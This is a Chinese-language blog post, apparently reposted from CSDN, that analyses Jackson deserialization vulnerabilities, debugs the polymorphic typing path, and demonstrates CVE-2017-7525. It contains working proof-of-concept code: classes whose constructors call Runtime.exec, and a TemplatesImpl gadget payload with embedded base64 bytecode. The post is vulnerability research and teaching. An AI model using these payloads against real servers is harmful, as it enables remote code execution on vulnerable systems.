欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

反序列化漏洞例子——jackson反序列化漏洞的调试与分析

程序员文章站 2022-06-23 11:15:33
文章目录反序列化例子漏洞原因漏洞条件enableDefaultTyping@JsonTypeInfo总结调试CVE-2017-7525(基于TemplatesImpl利用链)影响版本利用Jackson 是用来序列化和反序列化 json 的 Java 的开源框架,Jackson 运行时占用内存比较低,性能比较好,且不依靠除JDK外的其他库。反序列化例子举一个jackson进行序列化和反序列化的例子,首先,我的依赖包如下所示:


Jackson 是用来序列化和反序列化 json 的 Java 的开源框架,Jackson 运行时占用内存比较低,性能比较好,且不依靠除JDK外的其他库。

反序列化例子

举一个jackson进行序列化和反序列化的例子,首先,我的依赖包如下所示:

<!-- jackson -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-annotations</artifactId>
            <version>2.7.9</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-core</artifactId>
            <version>2.7.9</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.7.9</version>
        </dependency>

创建一个Student类

package Jackson;

public class Student {
    public String name;
    public String sex;
    public Student(){
        System.out.println("构造函数");
    }
    public String getName(){
        System.out.println("getName");
        return name;
    }
    public void setName(String name){
        System.out.println("setName");
        this.name = name;
    }
    public String getSex(){
        System.out.println("getSex");
        return sex;
    }
    public void setSex(String sex){
        System.out.println("setSex");
        this.sex = sex;
    }
    public String toString() {
        return String.format("Student.name=%s, Student.sex=%s", name, sex);
    }
}

然后创建一个JacksonTest类

package Jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JacksonTest {
    public static void main(String[] args) throws IOException {
        Student s = new Student();
        s.name = "5wimming";
        s.sex = "boy";

        System.out.println("...writeValueAsString...");
        ObjectMapper mapper = new ObjectMapper();
        String json = mapper.writeValueAsString(s);
        System.out.println(json);

        System.out.println("...readValue...");
        Student s2 = mapper.readValue(json, Student.class);
        System.out.println(s2);

    }
}

运行,输出:

构造函数

...writeValueAsString...
getName
getSex
{"name":"5wimming","sex":"boy"}

...readValue...
构造函数
setName
setSex
Person.name=5wimming, Person.sex=boy

从输出结果可以看到jackson在反序列的时候会调用get系列函数,而反序列化的时候会调用构造函数、set系列函数,这时候如果这些函数里面有恶意操作,那就可以触发漏洞了。

漏洞原因

其实跟fastjson反序列化漏洞原因类似,可以看看我前面写的超详细(又臭又长)的文章。漏洞出发方法主要分为两种:

1、目标类的构造函数、set系列函数含有恶意操作,并且参数可控制;

2、目标类的子类、活着目标类的属性的子类的构造函数、set系列函数含有恶意操作,并且参数可控制,如目标类有个属性类型为Object,那么服务端中任意其他类都能为我所用。

第一个方法有些苛刻,现在正常程序猿很少会干出这种事的,所以第二种方法是目前的主流方法。

漏洞条件

前面的第二种方法涉及到子类继承问题,比如反序列化的时候是否需要反序列化子类,反序列化哪个子类等。jackson实现了JacksonPolymorphicDeserialization机制来解决这种多态导致的问题。主要方法有两种:

1、在调用序列化函数writeValueAsString()前,通过enableDefaultTyping()申明序列化范围。

2、在被序列化类里面,对相应属性使用@JsonTypeInfo进行注解,从而设置序列化范围。

enableDefaultTyping

enableDefaultTyping可以设置如下参数,适用范围从上至下逐渐变大。

enableDefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

举一个例子

新增一个Monitor类

package Jackson;

import java.io.IOException;

public class Monitor {
    public String hacker = "test";
    public Monitor() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        System.out.println("opened Calculator.app");
    }
}

修改一下Student类

package Jackson;

public class Student {
    public String name;
    public String sex;
    public Object myObject;

    public Student(){
        System.out.println("构造函数");
    }
    public String getName(){
        System.out.println("getName");
        return name;
    }
    public void setName(String name){
        System.out.println("setName");
        this.name = name;
    }
    public String getSex(){
        System.out.println("getSex");
        return sex;
    }
    public void setSex(String sex){
        System.out.println("setSex");
        this.sex = sex;
    }

    public Object getMyObject() {
        System.out.println("getMyObject");
        return myObject;
    }
    public void setMyObject(Object myObject) {
        System.out.println("setMyObject");
        this.myObject = myObject;
    }
    @Override
    public String toString() {
        return String.format("Person.name=%s, Person.sex=%s", name, sex);
    }
}

poc类

package Jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JacksonTest {
    public static void main(String[] args) throws IOException {
        Student s = new Student();
        s.name = "5wimming";
        s.sex = "boy";
        s.myObject = new Monitor();

        System.out.println("...writeValueAsString...");
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //compare
        String json = mapper.writeValueAsString(s);
        System.out.println(json);

        System.out.println("...readValue...");
        Student s2 = mapper.readValue(json, Student.class);
        System.out.println(s2);

    }
}

执行对比结果如下:

// 未开启 JAVA_LANG_OBJECT
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
setMyObject
Person.name=5wimming, Person.sex=boy

//开启 JAVA_LANG_OBJECT
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":["Jackson.Monitor",{"hacker":"test"}]}
...readValue...
Student 构造函数
setName
setSex
Monitor 构造函数: opened Calculator.app
setMyObject
Person.name=5wimming, Person.sex=boy

从结果可以直观看出,如果没有开JAVA_LANG_OBJECT,Monitor类在做反序列化的时候,只是做了赋值,并没有进行事例化,因此没有调用Monitor的构造函数;开启了JAVA_LANG_OBJECT后,反序列化Student时候也会发序列化Monitor,所以调用了Monitor的构造函数。

其他enableDefaultTyping类型功能类似,不过扩大了适用范围,如Interface、AbstractClass等。

@JsonTypeInfo

@JsonTypeInfo注解是Jackson多态类型绑定的第二种方式,主要有下面5种类型

类型 说明
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) 字如其名,和没设置一样
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) Json多了@class字段,用于标明相关属性的包和类名
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) Json多了@c字段,用于标明相关属性的包和类名
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) Json多了@type字段,用于标明相关属性的类名(无包)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM) 用户自定义,需要手写解析器

举个例子

修改Studnet类

package Jackson;

import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Student {
    public String name;
    public String sex;
    @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
    public Object myObject;

    public Student(){
        System.out.println("Student 构造函数");
    }
    public String getName(){
        System.out.println("getName");
        return name;
    }
    public void setName(String name){
        System.out.println("setName");
        this.name = name;
    }
    public String getSex(){
        System.out.println("getSex");
        return sex;
    }
    public void setSex(String sex){
        System.out.println("setSex");
        this.sex = sex;
    }

    public Object getMyObject() {
        System.out.println("getMyObject");
        return myObject;
    }
    public void setMyObject(Object myObject) {
        System.out.println("setMyObject");
        this.myObject = myObject;
    }
    @Override
    public String toString() {
        return String.format("Person.name=%s, Person.sex=%s", name, sex);
    }
}

修改poc类

package Jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JacksonTest {
    public static void main(String[] args) throws IOException {
        Student s = new Student();
        s.name = "5wimming";
        s.sex = "boy";
        s.myObject = new Monitor();

        System.out.println("...writeValueAsString...");
        ObjectMapper mapper = new ObjectMapper();
        String json = mapper.writeValueAsString(s);
        System.out.println(json);

        System.out.println("...readValue...");
        Student s2 = mapper.readValue(json, Student.class);
        System.out.println(s2);

    }
}

执行结果

// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"@class":"Jackson.Monitor","hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
Monitor 构造函数: opened Calculator.app
setMyObject
Person.name=5wimming, Person.sex=boy

// @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"@type":"Monitor","hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException:...报错了

对比可以看到:

JsonTypeInfo.Id.CLASS注解后,序列化数据包含@class属性,其值为包+类名,可以反序列化成功;

而JsonTypeInfo.Id.NAME注解序列化后,@type的值只有一个类名,没有包名,导致发序列化的时候找不到相应类,从而报错。

总结

综上,我们可以总结出满足下面三个条件是可以导致反序列化漏洞:

  • 调用了ObjectMapper.enableDefaultTyping()函数,参数为四个类型;
  • 反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

调试

poc如下,在readValue()处打断点,跟进

package Jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JacksonTest02 {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
        String json = "{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"Jackson.Monitor\",{\"hacker\":\"test\"}]}";
        System.out.println("...readValue...");
        Student s2 = mapper.readValue(json, Student.class);
        System.out.println(s2);
    }
}

反序列化漏洞例子——jackson反序列化漏洞的调试与分析
跟进_readMapAndClose函数
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
跟进反序列化函数deser.deserialize(jp, ctxt):反序列化漏洞例子——jackson反序列化漏洞的调试与分析
里面调用了vanillaDeserialize函数,继续跟进
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
vanillaDeserialize函数里面首先调用了createUsingDefault函数,该函数的功能是调用目标类的无参构造函数来生成实例
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
在实例化Student类之后,会进入一个do循环,主要作用就是循环遍历Student的属性键值对,并进行赋值,跟进deserializeAndSet函数
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
发现调用了deserialize函数,继续跟进:
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
通过_valueTypeDeserializer判断反序列化目标是否带有类型,若是则使用deserializeWithType函数进行反序列化,否则使用deserialize进行发序列化,由于name是系统String类型,所以进入deserialize()函数,跟进

return this._valueTypeDeserializer != null ? this._valueDeserializer.deserializeWithType(p, ctxt, this._valueTypeDeserializer) : this._valueDeserializer.deserialize(p, ctxt);

反序列化漏洞例子——jackson反序列化漏洞的调试与分析
直接返回对应的值
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
获得对应值后,回到deserializeAndSet函数,接着调用invoke()函数对Student.name进行赋值,即会紧接着调用setName赋值函数反序列化漏洞例子——jackson反序列化漏洞的调试与分析反序列化漏洞例子——jackson反序列化漏洞的调试与分析
接下来sex赋值操作是一样的,我们来直接看myObject的操作,在com.fasterxml.jackson.databind.deser.SettableBeanProperty#deserialize函数中,由于myObject自带类型,所以会进入deserializeWithType()函数,跟进
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
进一步进入typeDeserializer.deserializeTypedFromAny(jp, ctxt),跟进
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
继续跟进
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
接着通过_locateTypeId函数获取得到typeId的值为Jackson.Monitor,再通过this._findDeserializer(ctxt, typeId)获得反序列化器,并缓存到map中。接着跟进deser.deserialize((JsonParser)p, ctxt)函数
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
_findDeserializer函数:
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
然后会继续调用vanillaDeserialize()函数来解析字典内的内容
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
接着会跟Student类相似,会调用createUsingDefault函数来事例化Monitor类
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
反序列化漏洞例子——jackson反序列化漏洞的调试与分析
接下来的步骤就跟Student.name赋值一样了,不再累赘,调用到Monitor的构造函数时调用栈如下

<init>:7, Monitor (Jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:243, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:249, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser)
deserializeAndSet:95, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:13, JacksonTest02 (Jackson)

CVE-2017-7525(基于TemplatesImpl利用链)

影响版本

Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1

利用

首先下面是我的依赖包,我本地用的JDK版本为1.7.0_76

<dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-annotations</artifactId>
            <version>2.7.9</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-core</artifactId>
            <version>2.7.9</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.7.9</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.12</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>4.3.13.RELEASE</version>
        </dependency>

创建一个恶意类,至于为什么需要继承AbstractTranslet,请参考前面写的文章

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilClass extends AbstractTranslet {
    public EvilClass() {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) {
        EvilClass e = new EvilClass();
    }
}

创建需要反序列化的类,为了贴切实际,稍微复杂点:

package Jackson;

public class Student {
    public String name;
    public String sex;
    //@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Object myObject;

    public Student(){
        System.out.println("Student 构造函数");
    }
    public String getName(){
        System.out.println("getName");
        return name;
    }
    public void setName(String name){
        System.out.println("setName");
        this.name = name;
    }
    public String getSex(){
        System.out.println("getSex");
        return sex;
    }
    public void setSex(String sex){
        System.out.println("setSex");
        this.sex = sex;
    }

    public Object getMyObject() {
        System.out.println("getMyObject");
        return myObject;
    }
    public void setMyObject(Object myObject) {
        System.out.println("setMyObject");
        this.myObject = myObject;
    }
    @Override
    public String toString() {
        return String.format("Student.name=%s, Student.sex=%s", name, sex);
    }
}

创建poc,这里使用enableDefaultTyping模式,默认参数即可。

package Jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class JacksonPoc01 {
    public static void main(String[] args) throws IOException {
        String evil = readClassStr("/Users/rym/all/program/projects/idea/JavaProject7076/target/test-classes/EvilClass.class");
        String payload= "{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"" + evil + "\"],\"transletName\":\"5wimming\",\"outputProperties\":{}}]}";
        System.out.println(payload);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.readValue(payload, Student.class);
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encode(byteArrayOutputStream.toByteArray());
    }
}

输出如下:

{"name":"5wimming","sex":"boy","myObject":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANgoACQAmCgAnACgIACkKACcAKgcAKwoABQAsBwAtCgAHACYHAC4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABHRoaXMBAAtMRXZpbENsYXNzOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAKAAsHADAMADEAMgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADMANAEAE2phdmEvbGFuZy9FeGNlcHRpb24MADUACwEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAJAAAAAAAEAAEACgALAAEADAAAAGYAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADQAAABoABgAAAAgABAAKAA0ADQAQAAsAEQAMABUADgAOAAAAFgACABEABAAPABAAAQAAABYAEQASAAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABIADgAAACAAAwAAAAEAEQASAAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABYADgAAACoABAAAAAEAEQASAAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAkAIAAhAAEADAAAAEEAAgACAAAACbsAB1m3AAhMsQAAAAIADQAAAAoAAgAAABkACAAaAA4AAAAWAAIAAAAJACIAIwAAAAgAAQAPABIAAQABACQAAAACACU="],"transletName":"5wimming","outputProperties":{}}]}
Student 构造函数
setName
setSex
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: N/A...报错

to be continue。。。

本文地址:https://blog.csdn.net/qq_34101364/article/details/111996656